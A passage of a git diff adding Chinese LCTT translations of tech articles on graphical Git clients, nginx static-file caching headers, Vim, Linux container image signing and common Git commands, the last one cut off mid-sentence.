for Git.md b/published/201608/20160802 3 graphical tools for Git.md new file mode 100644 index 0000000000..1cbad11ba6 --- /dev/null +++ b/published/201608/20160802 3 graphical tools for Git.md @@ -0,0 +1,117 @@ +Git 系列(五):三个 Git 图形化工具 +============================= + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/government/BUSINESS_meritladder.png?itok=4CAH2wV0) + +在本文里,我们来了解几个能帮你在日常工作中舒服地用上 Git 的工具。 + +我是在这许多漂亮界面出来之前学习的 Git,而且我的日常工作经常是基于字符界面的,所以 Git 本身自带的大部分功能已经足够我用了。在我看来,最好能理解 Git 的工作原理。不过,能有的选也不错,下面这些就是能让你不用终端就可以开始使用 Git 的一些方式。 + +### KDE Dolphin 里的 Git + +我是一个 KDE 用户,如果不在 Plasma 桌面环境下,就是在 Fluxbox 的应用层。Dolphin 是一个非常优秀的文件管理器,有很多配置项以及大量秘密小功能。大家为它开发的插件都特别好用,其中一个几乎就是完整的 Git 界面。是的,你可以直接在自己的桌面上很方便地管理你的 Git 仓库。 + +但首先,你得先确认已经安装了这个插件。有些发行版带的 KDE 将各种插件都装的满满的,而有些只装了一些最基本的,所以如果你在下面的步骤里没有看到 Git 相关选项,就在你的软件仓库里找找类似 dolphin-extras 或者 dolphin-plugins 的包。 + +要打开 Git 集成功能,在 Dolphin 的任一窗口里点击 Settings 菜单,并选择 Configure Dolphin。 + +在弹出的 Configure Dolphin 窗口里,点击左边侧栏里的 Services 图标。 + +在 Services 面板里,滚动可用的插件列表找到 Git。 + +![](https://opensource.com/sites/default/files/4_dolphinconfig.jpg) + +(勾选上它,)然后保存你的改动并关闭 Dolphin 窗口。重新启动 Dolphin,浏览一个 Git 仓库试试看。你会发现现在所有文件图标都带有标记:绿色方框表示已经提交的文件,绿色实心方块表示文件有改动,没加入库里的文件没有标记,等等。 + +之后你在 Git 仓库目录下点击鼠标右键弹出的菜单里就会有 Git 选项了。你在 Dolphin 窗口里点击鼠标就可以检出一个版本,推送或提交改动,还可以对文件进行 `git add` 或 `git remove` 操作。 + +![](https://opensource.com/sites/default/files/4_dolphingit.jpg) + +不过 Dolphin 不支持克隆仓库或是改变远端仓库路径,需要到终端窗口操作,按下 F4 就可以很方便地进行切换。 + +坦白地说,KDE 的这个功能太牛了,这篇文章已经可以到此为止。将 Git 集成到原生文件管理器里可以让 Git 操作非常清晰;不管你在工作流程的哪个阶段,一切都能直接地摆在面前。在终端里 Git,切换到 GUI 后也是一样 Git。完美。 + +不过别急,还有好多呢! + +### Sparkleshare + +SparkleShare 来自桌面环境的另一大阵营,由一些 GNOME 开发人员发起,一个使用文件同步模型 (“就像 Dropbox 一样!”) 的项目。不过它并没有集成任何 GNOME 特有的组件,所以你可以在任何平台使用。 + +如果你在用 Linux,可以从你的软件仓库直接安装 SparkleShare。如果是其它操作系统,可以去 SparkleShare 网站下载。你可以不用看 SparkleShare 网站上的指引,那个是告诉你如何架设 SparkleShare 服务器的,不是我们这里讨论的。当然你想的话也可以架设 SparkleShare 服务器,但是 SparkleShare 能兼容 Git 仓库,所以其实没必要再架一个自己的。 + +在安装完成后,从应用程序菜单里启动 SparkleShare。走一遍设置向导,只有两个步骤外加一个简单介绍,然后可以选择是否将 SparkleShare 设置为随桌面自动启动。 + +![](https://opensource.com/sites/default/files/4_sparklesetup.jpg) + +之后在你的系统托盘里会出现一个橙色的 SparkleShare 目录。目前,SparkleShare 对你电脑上的任何东西都一无所知,所以你需要添加一个项目。 + +要添加一个目录给 SparkleShare 追踪,可以点击系统托盘里的 SparkleShare 图标然后选择 Add Hosted Project。 + +![](https://opensource.com/sites/default/files/4_sparklehost.jpg) + +SparkleShare 支持本地 Git 项目,也可以是存放在像 GitHub 和 Bitbucket 这样的公共 Git 服务器上的项目。要获得完整访问权限,你可能会需要使用 SparkleShare 生成的客户端 ID。这是一个 SSH 密钥,作为你所用到服务的授权令牌,包括你自己的 Git 服务器,应该也使用 SSH 公钥认证而不是用户名密码。将客户端 ID 拷贝到你服务器上 Git 用户的 `authorized_hosts` 文件里,或者是你的 Git 主机的 SSH 密钥面板里。 + +在配置要你要用的主机后,SparkleShare 会下载整个 Git 项目,包括(你可以自己选择)提交历史。可以在 ~/SparkleShare 目录下找到同步完成的文件。 + +不像 Dolphin 那样的集成方式,SparkleShare 是不透明的,让人心里没底。在你做出改动后,它会悄悄地把改动同步到服务器远端项目中。对大部分人来说,这样做有一个很大的好处:可以用到 Git 的全部威力但是不用维护。对我来说,这样有些乱,因为我想自己管理我的提交以及要用的分支。 + +SparkleShare 可能不适合所有人,但是它是一个强大而且简单的 Git 解决方案,展示了不同的开源项目完美地协调整合到一起后所创造出的独特项目。 + +### Git-cola + +另一种配合 Git 仓库工作的模型,没那么原生,更多的是监视方式;不是使用一个集成的应用程序和你的 Git 项目直接交互,而是你可以使用一个桌面客户端来监视项目改动,并随意处理每一个改动。这种方式的一个优势就是专注。当你实际只用到项目里的三个文件的时候,你可能不会关心所有的 125 个文件,能将这三个文件挑出来就很方便了。 + +如果你觉得有好多 Git 托管网站,那只是你还不知道 Git 客户端有多少。[桌面上的 Git 客户端][1] 上有一大把。实际上,Git 默认自带一个图形客户端。它们中最跨平台、最可配置的就是开源的 [Git-cola][2] 客户端,用 Python 和 Qt 写的。 + +如果你在用 Linux,Git-cola 应该在你的软件仓库里就有。不是的话,可以直接从它的[网站下载][2]并安装: + +``` +$ python setup.py install +``` + +启动 git-cola 后,会有三个按钮用来打开仓库,创建新仓库,或克隆仓库。 + +不管选哪个,最终都会停在一个 Git 仓库中。和大多数我用过的客户端一样,Git-cola 不会尝试成为你的仓库的接口;它们一般会让操作系统工具来做这个。换句话说,我可以通过 Git-cola 创建一个仓库,但随后我就在 Thunar 或 Emacs 里打开仓库开始工作。打开 Git-cola 来监视仓库很不错,因为当你创建新文件,或者改动文件的时候,它们都会出现在 Git-cola 的状态面板里。 + +Git-cola 的默认布局不是线性的。我喜欢从左向右分布,因为 Git-cola 是高度可配置的,所以你可以随便修改布局。我自己设置成最左边是状态面板,显示当前分支的任何改动,然后右边是差异面板,可以浏览当前改动,然后是动作面板,放一些常用任务的快速按钮,最后,最右边是提交面板,可以写提交信息。 + +![](https://opensource.com/sites/default/files/4_gitcola.jpg) + +不管怎么改布局,下面是 Git-cola 的通用流程: + +改动会出现在状态面板里。右键点击一个改动或选中一个文件,然后在动作面板里点击 Stage 按钮来将文件加入待提交暂存区。 + +待提交文件的图标会变成绿色三角形,表示该文件有改动并且正等待提交。你也可以右键点击并选择 Unstage Selected 将改动移出待提交暂存区,或者点击动作面板里的 Unstage 按钮。 + +在差异面板里检查你的改动。 + +当准备好提交后,输入提交信息并点击 Commit 按钮。 + +在动作面板里还有其它按钮用来处理其它普通任务,比如拉取或推送。菜单里有更多的任务列表,比如用于操作分支,改动审查,变基等等的专用操作。 + +我更愿意将 Git-cola 当作文件管理器的一个浮动面板(在不能用 Dolphin 的时候我只用 Git-cola)。虽然它的交互性没有完全集成 Git 的文件管理器那么强,但另一方面,它几乎提供了原始 Git 命令的所有功能,所以它实际上更为强大。 + +有很多 Git 图形客户端。有些是不提供源代码的付费软件,有些只是用来查看,有些尝试加入新的特定术语(用 "sync" 替代 "push" ...?) 来重造 Git,也有一些只适合特定的平台。Git-cola 一直是能在任意平台上使用的最简单的客户端,也是最贴近纯粹 Git 命令的,可以让用户在使用过程中学习 Git,即便是高手也会很满意它的界面和术语。 + +### Git 命令还是图形界面? + +我一般不用图形工具来操作 Git;一般我使用上面介绍的工具时,只是帮助其他人找出适合他们的界面。不过,最终归结于怎么适合你的工作。我喜欢基于终端的 Git 命令是因为它可以很好地集成到 Emacs 里,但如果某天我几乎都在用 Inkscape 工作时,我一般会很自然地使用 Dolphin 里带的 Git,因为我在 Dolphin 环境里。 + +如何使用 Git 你自己可以选择;但要记住 Git 是一种让生活更轻松的方式,也是让你在工作中更安全地尝试一些疯狂点子的方法。熟悉 Git 的工作模式,然后不管以什么方式使用 Git,只要能让你觉得最适合就可以。 + +在下一期文章里,我们将了解如何架设和管理 Git 服务器,包括用户权限和管理,以及运行定制脚本。 + + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/8/graphical-tools-git + +作者:[Seth Kenlon][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[1]: https://git-scm.com/downloads/guis +[2]: https://git-cola.github.io/ diff --git a/published/201608/20160808 How to cache static files on nginx.md b/published/201608/20160808 How to cache static files on nginx.md new file mode 100644 index 0000000000..4a1d2511b8 --- /dev/null +++ b/published/201608/20160808 How to cache static files on nginx.md @@ -0,0 +1,79 @@ +如何在 nginx 中缓存静态文件 +=========================== + +这篇教程说明你应该怎样配置 nginx、设置 HTTP 头部过期时间,用 Cache-Control 中的 max-age 标记为静态文件(比如图片、 CSS 和 Javascript 文件)设置一个时间,这样用户的浏览器就会缓存这些文件。这样能节省带宽,并且在访问你的网站时会显得更快些(如果用户第二次访问你的网站,将会使用浏览器缓存中的静态文件)。 + +### 1、准备事项 + +我想你需要一个正常工作的 nginx 软件,就像这篇教程里展示的:[在 Ubuntu 16.04 LTS 上安装 Nginx,PHP 7 和 MySQL 5.7 (LEMP)](1)。 + +### 2 配置 nginx + +可以参考 [expires](2) 指令手册来设置 HTTP 头部过期时间,这个标记可以放在 `http {}`、`server {}`、`location {}` 等语句块或者 `location {}` 语句块中的条件语句中。一般会在 `location` 语句块中用 `expires` 指令控制你的静态文件,就像下面一样: + +``` +location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ { + expires 365d; +} +``` + +在上面的例子中,所有后缀名是 `.jpg`、 `.jpeg`、 `.png`、 `.gif`、 `.ico`、 `.css` 和 `.js` 的文件会在浏览器访问该文件之后的 365 天后过期。因此你要确保 `location {}` 语句块仅仅包含能被浏览器缓存的静态文件。 + +然后重启 nginx 进程: + +``` +/etc/init.d/nginx reload +``` + +你可以在 `expires` 指令中使用以下的时间设置: + +- `off` 让 `Expires` 和 `Cache-Control` 头部不能被更改。 +- `epoch` 将 `Expires` 头部设置成 1970 年 1 月 1 日 00:00:01。 +- `max` 设置 `Expires` 头部为 2037 年 12 月 31 日 23:59:59,设置 `Cache-Control` 的最大存活时间为 10 年 +- 没有 `@` 前缀的时间意味着这是一个与浏览器访问时间有关的过期时间。可以指定一个负值的时间,就会把 Cache-Control 头部设置成 no-cache。例如:`expires 10d` 或者 `expires 14w3d`。 +- 有 `@` 前缀的时间指定在一天中的某个时间过期,格式是 Hh 或者 Hh:Mm,H 的范围是 0 到 24,M 的范围是 0 到 59,例如:`expires @15:34`。 + +你可以用以下的时间单位: + +- `ms`: 毫秒 +- `s`: 秒 +- `m`: 分钟 +- `h`: 小时 +- `d`: 天 +- `w`: 星期 +- `M`: 月 (30 天) +- `y`: 年 (365 天) + +例如:`1h30m` 表示一小时三十分钟,`1y6m` 表示一年六个月。 + +注意,要是你用一个在将来很久才会过期的头部,当组件修改时你就要改变组件的文件名。因此给文件指定版本是一个不错的方法。例如,如果你有个 javascript.js 文件 并且你要修改它,你可以在修改的文件名字后面添加一个版本号。这样浏览器就要下载这个文件,如果你没有更改文件名,浏览器将从缓存里面加载(旧的)文件。 + +除了把基于浏览器访问时间设置 `Expires` 头部(比如 `expires 10d`)之外,也可以通过在时间前面的 `modified` 关键字,将 `Expires` 头部的基准设为文件修改的时间(请注意这仅仅对存储在硬盘的实际文件有效)。 + +``` +expires modified 10d; +``` + +### 3 测试 + +要测试你的配置是否有效,可以用火狐浏览器的开发者工具中的网络分析功能,然后用火狐访问一个静态文件(比如一张图片)。在输出的头部信息里,应该能看到 `Expires` 头部和有 `max-age` 标记的 `Cache-Control` 头部(`max-age` 标记包含了一个以秒为单位的值,比如 31536000 就是指今后的一年) + +![](https://www.howtoforge.com/images/how-to-cache-static-files-on-nginx/accept_headers.png) + +### 4 链接 + +nginx 的 Http 头部模块(HttpHeadersModule): + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/how-to-cache-static-files-on-nginx/ + +作者:[Falko Timme][a] +译者:[GitFuture](https://github.com/GitFuture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.howtoforge.com/tutorial/how-to-cache-static-files-on-nginx/ +[1]: https://linux.cn/article-7551-1.html +[2]:http://nginx.org/en/docs/http/ngx_http_headers_module.html#expires diff --git a/published/201608/20160809 7 reasons to love Vim.md b/published/201608/20160809 7 reasons to love Vim.md new file mode 100644 index 0000000000..c15ca99bb5 --- /dev/null +++ b/published/201608/20160809 7 reasons to love Vim.md @@ -0,0 +1,43 @@ +爱 Vim 的七个理由 +==================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/BUS_OpenSourceExperience_520x292_cm.png?itok=APna2N9Y) + +当我刚刚开始用 vi 文本编辑器的时候,我憎恨它!我认为这是有史以来设计上最痛苦和反人类的编辑器。但我还是决定我必须学会它,因为如果你使用的是 Unix,vi 无处不在并且是唯一一个保证你可以使用的编辑器。在 1998 年是如此,但是直到今天 vi 也仍然是可用的,现有的几乎每个发行版中,vi 基本上都是基础安装的一部分。 + +在我学会能使用任何功能前,我已经在 vi 上花费差不多 1 个月的时间,但是我仍然不喜欢它。不过那时我已经意识到有个强大的编辑器隐藏在这个古怪的外表后面。所以我坚持使用它,并且最终发现一旦你知道你在干什么,它就是一个快的令人难以置信的编辑器。 + +“vi” 这个名称是 “可视(visual)” 的缩写。在 vi 出现的时候,行编辑器是很普遍的,能一次性显示并编辑多个行是非同寻常的。Vim,来自“Vi IMproved”的缩写,最初由 Bram Moolenaar 发布于 1991 年,它成为了主要的仿 vi 软件,并且扩展了这个强大的编辑器已有的功能。Vim 强大的正则表达式和“:”命令行语法开始于行编辑和电传打字机时代。 + +Vim,有 40 年的历史了,有足够的时间发展出海量而复杂的技巧,即使是懂得最多的用户都不能完全掌握它。这里列出了一些爱 Vim 的理由: + +1. 配色方案:你可能知道 Vim 有彩色语法高亮。但你知道可以下载数以百计的配色方案么?[在这找到些更好的][1]。 +2. 你再也不需要让你的手离开键盘或者去碰触鼠标。 +3. Vi 或者 Vim 存在任何地方,甚至在 [OpenWRT][2] 里面也有 vi(好吧,其实是在 [BusyBox][3]中,它挺好用的)。 +4. Vimscript:你可能会想重映射几个键,但是你知道 Vim 有自己的编程语言么?你可以重新定义你的编辑器的行为,或者创造特定语言的编辑器扩展。(最近我在定制 Vim 用于 Ansible 的行为。)学习这个语言最佳的切入点是看 Steve Losh 著名的书《[Learn Vimscript the Hard Way][4]》。 +5. Vim 有插件。使用 [vundle][5](我用的就是它)或者 [Pathogen][6] 来管理你的插件来提升 Vim 的功能。 +6. 插件可以将 git(或者你选择的 VCS)集成到 Vim 中。 +7. 有庞大而活跃的线上社区,如果你在线上提问关于 Vim 的问题,肯定会有人回答。 + +我一开始讨厌 vi 的可笑之处在于,这 5 年来不断的在尝试新的编辑器中碰壁,总是想找到“一些更好的”。我从来没有像讨厌 vi 一样讨厌过其它的编辑器,现在我已经使用它 17 年了,因为我想象不出一个更好的编辑器。额,或许有稍微好一点的:可以尝试下 Neovim -这是未来的主流。看起来 Bram Moolenaar 将会把 Neovim 的大部分融入到 Vim 第 8 版中,这意味着将会在现有的代码基础上减少 30%、更好的代码补全功能、真正的异步、内置终端、内置鼠标支持、完全兼容。 + +*在本文作者在多伦多的 [LinuxCon 演讲][7]中(LCTT 译注:LinuxCon 是 Linux 基金会举办的年度会议),他解释了一些在你可能错过的、过去四十年增加的杂乱的扩展和改进。这个内容不适合初学者,所以如果你不知道为什么“hjklia:wq”是很重要的,这就可能不是讲给你听的。它还会涉及一点关于 vi 的历史,因为知道一些历史能帮助我们理解我们的处境。关注他的演讲能让你知道如何使你最喜欢的编辑器更好更快。* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/business/16/8/7-reasons-love-vim + +作者:[Giles Orr][a] +译者:[hkurj](https://github.com/hkurj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gilesorr +[1]: http://www.gilesorr.com/blog/vim-colours.html +[2]: https://www.openwrt.org/ +[3]: https://busybox.net/ +[4]: http://learnvimscriptthehardway.stevelosh.com/ +[5]: https://github.com/VundleVim/Vundle.vim +[6]: https://github.com/tpope/vim-pathogen +[7]: http://sched.co/7JWz diff --git a/published/201608/20160810 A brief introduction to Linux containers and image signing.md b/published/201608/20160810 A brief introduction to Linux containers and image signing.md new file mode 100644 index 0000000000..7e6f6ef2e7 --- /dev/null +++ b/published/201608/20160810 A brief introduction to Linux containers and image signing.md @@ -0,0 +1,59 @@ +浅谈 Linux 容器和镜像签名 +==================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/containers_2015-1-osdc-lead.png?itok=E1imOYe4) + +从根本上说,几乎所有的主要软件,即使是开源软件,都是在基于镜像的容器技术出现之前设计的。这意味着把软件放到容器中相当于是一次平台移植。这也意味着一些程序可以很容易就迁移,[而一些就更困难][1]。 + +我大约在三年半前开展基于镜像的容器相关工作。到目前为止,我已经容器化了大量应用。我了解到什么是现实情况,什么是迷信。今天,我想简要介绍一下 Linux 容器是如何设计的,以及谈谈镜像签名。 + +### Linux 容器是如何设计的 + +对于基于镜像的 Linux 容器,让大多数人感到困惑的是,它把操作系统分割成两个部分:[内核空间与用户空间][2]。在传统操作系统中,内核运行在硬件上,你无法直接与其交互。用户空间才是你真正能交互的,这包括所有你可以通过文件浏览器或者运行`ls`命令能看到的文件、类库、程序。当你使用`ifconfig`命令调整 IP 地址时,你实际上正在借助用户空间的程序来使内核根据 TCP 协议栈改变。这点经常让没有研究过 [Linux/Unix 基础][3]的人大吃一惊。 + +过去,用户空间中的类库支持了与内核交互的程序(比如 ifconfig、sysctl、tuned-adm)以及如网络服务器和数据库之类的面向用户的程序。这些所有的东西都堆积在一个单一的文件系统结构中。用户可以在 /sbin 或者 /lib 文件夹中找到所有操作系统本身支持的程序和类库,或者可以在 /usr/sbin 或 /usr/lib 文件夹中找到所有面向用户的程序或类库(参阅[文件系统层次结构标准][4])。这个模型的问题在于操作系统程序和业务支持程序没有绝对的隔离。/usr/bin 中的程序可能依赖 /lib 中的类库。如果一个应用所有者需要改变一些东西,就很有可能破坏操作系统。相反地,如果负责安全更新的团队需要改变一个类库,就(常常)有可能破坏面向业务的应用。这真是一团糟。 + +借助基于镜像的容器,比如 Docker、LXD、RKT,应用程序所有者可以打包和调整所有放在 /sbin、/lib、/usr/bin 和 /usr/lib 中的依赖部分,而不用担心破坏底层操作系统。本质上讲,容器技术再次干净地将操作系统隔离为两部分:内核空间与用户空间。现在开发人员和运维人员可以分别独立地更新各自的东西。 + +然而还是有些令人困扰的地方。通常,每个应用所有者(或开发者)并不想负责更新这些应用依赖:像 openssl、glibc,或很底层的基础组件,比如,XML 解析器、JVM,再或者处理与性能相关的设置。过去,这些问题都委托给运维团队来处理。由于我们在容器中打包了很多依赖,对于很多组织来讲,对容器内的所有东西负责仍是个严峻的问题。 + +### 迁移现有应用到 Linux 容器 + +把应用放到容器中算得上是平台移植,我准备突出介绍究竟是什么让移植某些应用到容器当中这么困难。 + +(通过容器,)开发者现在对 /sbin 、/lib、 /usr/bin、 /usr/lib 中的内容有完全的控制权。但是,他们面临的挑战是,他们仍需要将数据和配置放到 /etc 或者 /var/lib 文件夹中。对于基于镜像的容器来说,这是一个糟糕的想法。我们真正需要的是代码、配置以及数据的隔离。我们希望开发者把代码放在容器当中,而数据和配置通过不同的环境(比如,开发、测试或生产环境)来获得。 + +这意味着我们(或者说平台)在实例化容器时,需要挂载 /etc 或 /var/lib 中的一些文件或文件夹。这会允许我们到处移动容器并仍能从环境中获得数据和配置。听起来很酷吧?这里有个问题,我们需要能够干净地隔离配置和数据。很多现代开源软件比如 Apache、MySQL、MongoDB、Nginx 默认就这么做了。[但很多自产的、历史遗留的、或专有程序并未默认这么设计][5]。对于很多组织来讲,这是主要的痛点。对于开发者来讲的最佳实践是,开始架构新的应用,移植遗留代码,以完成配置和数据的完全隔离。 + +### 镜像签名简介 + +信任机制是容器的重要议题。容器镜像签名允许用户添加数字指纹到镜像中。这个指纹随后可被加密算法测试验证。这使得容器镜像的用户可以验证其来源并信任。 + +容器社区经常使用“容器镜像”这个词组,但这个命名方法会让人相当困惑。Docker、LXD 和 RKT 推行获取远程文件来当作容器运行这样的概念。这些技术各自通过不同的方式处理容器镜像。LXD 用单独的一层来获取单独一个容器,而 Docker 和 RKT 使用基于开放容器镜像(OCI)格式,可由多层组成。糟糕的是,会出现不同团队和组织对容器镜像中的不同层负责的情况。容器镜像概念下隐含的是容器镜像格式的概念。拥有标准的镜像格式比如 OCI 会让容器生态系统围绕着镜像扫描、签名,和在不同云服务提供商间转移而繁荣发展。 + +现在谈到签名了。 + +容器存在一个问题,我们把一堆代码、二进制文件和类库放入其中。一旦我们打包了代码,我们就要把它和必要的文件服务器(注册服务器)共享。代码只要被共享,它基本上就是不具名的,缺少某种密文签名。更糟糕的是,容器镜像经常由不同人或团队控制的各个镜像层组成。每个团队都需要能够检查上一个团队的工作,增加他们自己的工作内容,并在上面添加他们自己的批准印记。然后他们需要继续把工作交给下个团队。 + +(由很多镜像组成的)容器镜像的最终用户需要检查监管链。他们需要验证每个往其中添加文件的团队的可信度。对于最终用户而言,对容器镜像中的每一层都有信心是极其重要的。 + +*作者 Scott McCarty 于 8 月 24 日在 ContainerCon 会议上作了题为 [Containers for Grownups: Migrating Traditional & Existing Applications][6] 的报告,更多内容请参阅报告[幻灯片][7]。* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/bus/16/8/introduction-linux-containers-and-image-signing + +作者:[Scott McCarty][a] +译者:[Tanete](https://github.com/Tanete) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/fatherlinux +[1]: http://rhelblog.redhat.com/2016/04/21/architecting-containers-part-4-workload-characteristics-and-candidates-for-containerization/ +[2]: http://rhelblog.redhat.com/2015/07/29/architecting-containers-part-1-user-space-vs-kernel-space/ +[3]: http://rhelblog.redhat.com/tag/architecting-containers/ +[4]: https://linux.cn/article-6132-1.html +[5]: http://rhelblog.redhat.com/2016/04/21/architecting-containers-part-4-workload-characteristics-and-candidates-for-containerization/ +[6]: https://lcccna2016.sched.org/event/7JUc/containers-for-grownups-migrating-traditional-existing-applications-scott-mccarty-red-hat +[7]: http://schd.ws/hosted_files/lcccna2016/91/Containers%20for%20Grownups_%20Migrating%20Traditional%20%26%20Existing%20Applications.pdf diff --git a/published/20160815 Here are all the Git commands I used last week and what they do.md b/published/20160815 Here are all the Git commands I used last week and what they do.md new file mode 100644 index 0000000000..da5520275c --- /dev/null +++ b/published/20160815 Here are all the Git commands I used last week and what they do.md @@ -0,0 +1,196 @@ +一周工作所用的日常 Git 命令 +============================================================ + +![](https://cdn-images-1.medium.com/max/1600/1*frC0VgM2etsVCJzJrNMZTQ.png) + +像大多数新手一样,我一开始是在 StackOverflow 上搜索 Git 命令,然后把答案复制粘贴,并没有真正理解它们究竟做了什么。 + +![](https://cdn-images-1.medium.com/max/1600/1*0o9GZUzXiNnI4poEvxvy8g.png) + +*Image credit: [XKCD][7]* + +我曾经想过:“如果有一个最常见的 Git 命令的列表,以及它们的功能是什么,这不是极好的吗?” + +多年之后,我编制了这样一个列表,并且给出了一些最佳实践,让新手们甚至中高级开发人员都能从中发现有用的东西。 + +为了保持实用性,我将这个列表与我过去一周实际使用的 Git 命令进行了比较。 + +几乎每个开发人员都在使用 Git,当然很可能是 GitHub。但大多数开发者大概有 99% 的时间只是使用这三个命令: + +``` +git add --all +git commit -am "" +git push origin master +``` + +如果你只是单枪匹马,或者参加一场黑客马拉松或开发一次性的应用时,它工作得很好,但是当稳定性和可维护性开始成为一个优先考虑的事情后,清理提交、坚持分支策略和提交信息的规范性就变得很重要。 + +我将从常用命令的列表开始,使新手更容易了解 Git 能做什么,然后进入更高级的功能和最佳实践。 + +### 经常使用的命令 + +要想在仓库(repo)中初始化 Git,你只需输入以下命令即可。如果你没有初始化 Git,则不能在该仓库内运行任何其他的 Git 命令。 + +``` +git init +``` + +如果你在使用 GitHub,而且正在将代码推送到在线存储的 GitHub 仓库中,那么你正在使用的就是远程(remote)仓库。该远程仓库的默认名称(也称为别名)为 `origin`。如果你已经从 Github 复制了一个项目,它就有了一个 `origin`。你可以使用命令 `git remote -v` 查看该 `origin`,该命令将列出远程仓库的 URL。 + +如果你初始化了自己的 Git 仓库,并希望将其与 GitHub 仓库相关联,则必须在 GitHub 上创建一个,复制新仓库提供的 URL,并使用 `git remote add origin ` 命令,这里使用 GitHub 提供的 URL 替换 ``。这样,你就可以添加、提交和推送更改到你的远程仓库了。 + +最后一条命令用在当你需要更改远程仓库时。如果你从其他人那里复制了一个仓库,并希望将远程仓库从原始所有者更改为你自己的 GitHub 帐户。除了改用 `set-url` 来更改远程仓库外,流程与 `git remote add origin` 相同。 + +``` +git remote -v +git remote add origin +git remote set-url origin +``` + +复制仓库最常见的方式是使用 `git clone`,后跟仓库的 URL。 + +请记住,远程仓库将连接到克隆仓库原属于的帐户。所以,如果你克隆了一个属于别人的仓库,你将无法推送到 GitHub,除非你使用上面的命令改变了 `origin`。 + +``` +git clone +``` + +你很快就会发现自己正在使用分支。如果你还不理解什么是分支,有许多其他更深入的教程,你应该先阅读它们,再继续下面的操作。([这里是一个教程][8]) + +命令 `git branch` 列出了本地机器上的所有分支。如果要创建一个新的分支,可以使用命令 `git branch `,其中 `` 表示分支的名字,比如说 `master`。 + +`git checkout ` 命令可以切换到现有的分支。你也可以使用 `git checkout -b` 命令创建一个新的分支并立即切换到它。大多数人都使用此命令而不是单独的 `branch` 和 `checkout` 命令。 + +``` +git branch +git branch +git checkout +git checkout -b +``` + +如果你对一个分支进行了一系列的更改,假如说此分支名为 `develop`,如果想要将该分支合并回主分支(`master`)上,则使用 `git merge ` 命令。你需要先检出(`checkout`)主分支,然后运行 `git merge develop` 将 `develop` 合并到主分支中。 + +``` +git merge +``` + +如果你正在与多个人进行协作,你会发现有时 GitHub 的仓库上已经更新了,但你的本地却没有做相应的更改。如果是这样,你可以使用 `git pull origin ` 命令从远程分支中拉取最新的更改。 + +``` +git pull origin +``` + +如果您好奇地想看到哪些文件已被更改以及哪些内存正在被跟踪,可以使用 `git status` 命令。如果要查看每个文件的更改,可以使用 `git diff` 来查看每个文件中更改的行。 + +``` +git status +git diff --stat +``` + +### 高级命令和最佳实践 + +很快你会到达一个阶段,这时你希望你的提交看起来整洁一致。你可能还需要调整你的提交记录,使得提交更容易理解或者能还原一个意外的有破坏性的更改。 + +`git log` 命令可以输出提交的历史记录。你将使用它来查看提交的历史记录。 + +你的提交会附带消息和一个哈希值,哈希值是一串包含数字和字母的随机序列。一个哈希值示例如下:`c3d882aa1aa4e3d5f18b3890132670fbeac912f7`。 + +``` +git log +``` + +假设你推送了一些可能破坏了你应用程序的东西。你最好回退一个提交然后再提交一次正确的,而不是修复它和推送新的东西。 + +如果你希望及时回退并从之前的提交中检出(`checkout`)你的应用程序,则可以使用该哈希作为分支名直接执行此操作。这将使你的应用程序与当前版本分离(因为你正在编辑历史记录的版本,而不是当前版本)。 + +``` +git checkout c3d88eaa1aa4e4d5f +``` + +然后,如果你在那个历史分支中做了更改,并且想要再次推送,你必须使用强制推送。 + +**注意**:强制推送是危险的,只有在绝对必要的时候才能执行它。它将覆盖你的应用程序的历史记录,你将失去之后版本的任何信息。 + +``` +git push -f origin master +``` + +在其他时候,将所有内容保留在一个提交中是不现实的。也行你想在尝试有潜在风险的操作之前保存当前进度,或者也许你犯了一个错误,但希望在你的版本历史中避免尴尬地留着这个错误。对此,我们有 `git rebase`。 + +假设你在本地历史记录上有 4 个提交(没有推送到 GitHub),你要回退这是个提交。你的提交记录看起来很乱很拖拉。这时你可以使用 `rebase` 将所有这些提交合并到一个简单的提交中。 + +``` +git rebase -i HEAD~4 +``` + +上面的命令会打开你计算机的默认编辑器(默认为 Vim,除非你将默认修改为其他的),提供了几个你准备如何修改你的提交的选项。它看起来就像下面的代码: + +``` +pick 130deo9 oldest commit message +pick 4209fei second oldest commit message +pick 4390gne third oldest commit message +pick bmo0dne newest commit message +``` + +为了合并这些提交,我们需要将 `pick` 选项修改为 `fixup`(如代码下面的文档所示),以将该提交合并并丢弃该提交消息。请注意,在 Vim 中,你需要按下 `a` 或 `i` 才能编辑文本,要保存退出,你需要按下 `Esc` 键,然后按 `shift + z + z`。不要问我为什么,它就是这样。 + +``` +pick 130deo9 oldest commit message +fixup 4209fei second oldest commit message +fixup 4390gne third oldest commit message +fixup bmo0dne newest commit message +``` + +这将把你的所有提交合并到一个提交中,提交消息为 `oldest commit message`。 + +下一步是重命名你的提交消息。这完全是一个建议的操作,但只要你一直遵循一致的模式,都可以做得很好。这里我建议使用 [Google 为 Angular.js 提供的提交指南][9]。 + +为了更改提交消息,请使用 `amend` 标志。 + +``` +git commit --amend +``` + +这也会打开 Vim,文本编辑和保存规则如上所示。为了给出一个良好的提交消息的例子,下面是遵循该指南中规则的提交消息: + +``` +feat: add stripe checkout button to payments page + +- add stripe checkout button +- write tests for checkout +``` + +保持指南中列出的类型(type)的一个优点是它使编写更改日志更加容易。你还可以在页脚(footer)(再次,在指南中规定的)中包含信息来引用问题(issue)。 + +**注意:**如果你正在协作一个项目,并将代码推送到了 